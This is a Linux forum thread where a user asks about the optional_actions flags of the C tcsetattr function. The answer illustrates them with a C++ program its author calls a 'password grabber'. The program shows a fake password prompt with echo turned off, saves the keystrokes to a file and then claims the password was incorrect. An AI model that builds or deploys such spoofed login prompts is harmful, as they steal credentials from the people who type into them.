Results 1 to 3 of 3
int tcsetattr(int fd, int optional_actions, const struct termios
*termios_p);
the optional_actions has 3 vaule :
TCSANOW
the change occurs immediately.
TCSADRAIN
the change occurs after all output written to fd ...
- 05-03-2009 #1Just Joined!
- Join Date
- May 2009
- Posts
- 4
c: tcsetattr function
int tcsetattr(int fd, int optional_actions, const struct termios
*termios_p);
the optional_actions has 3 vaule :
TCSANOW
the change occurs immediately.
TCSADRAIN
the change occurs after all output written to fd has
been trans-
mitted. This function should be used when changing
parameters
that affect output.
TCSAFLUSH
the change occurs after all output written to
the object
referred by fd has been transmitted, and all input that
has been
received but not read will be discarded before the
change is
made.
but I till don't understand the detail. can you give me a example to
show the different between them?????
- 05-03-2009 #2
Here's a example of two of the macros TCSAFLUSH and TCSANOW. Its basically a very simple example of a password grabber that will save the keystrokes into a file 'datafile'....Gerard4143
Just compile the code and run - type a string of text at the prompt and it will save it to the file datafile...Note this is the only example I have using tcsetattr...Hope it helps...G4143
Code:#include <iostream> #include <fstream> #include <termios.h> #include <stdio.h> #include <unistd.h> int main(int argc, char**argv) { std::ofstream fout("datafile"); if (fout.fail()) { std::cout<<"could not open file!\n"; unlink("test"); return 1; } char ch; struct termios original_t, new_t; const int STDIN = 0; tcgetattr (STDIN, &original_t); new_t = original_t; new_t.c_lflag &= ~(ICANON|ECHO); std::cout<<"enter password->"; tcsetattr (STDIN, TCSAFLUSH, &new_t); fflush(0); while ((ch = std::cin.get()) != '\n') { fout<<ch; } fout<<ch; fout.close(); unlink("test"); std::cout<<"\npassword incorrect!\n"; tcsetattr (STDIN, TCSANOW, &original_t); return 0; }Make mine Arch Linux
- 05-04-2009 #3Just Joined!
- Join Date
- May 2009
- Posts
- 4
thanks for it


Reply With Quote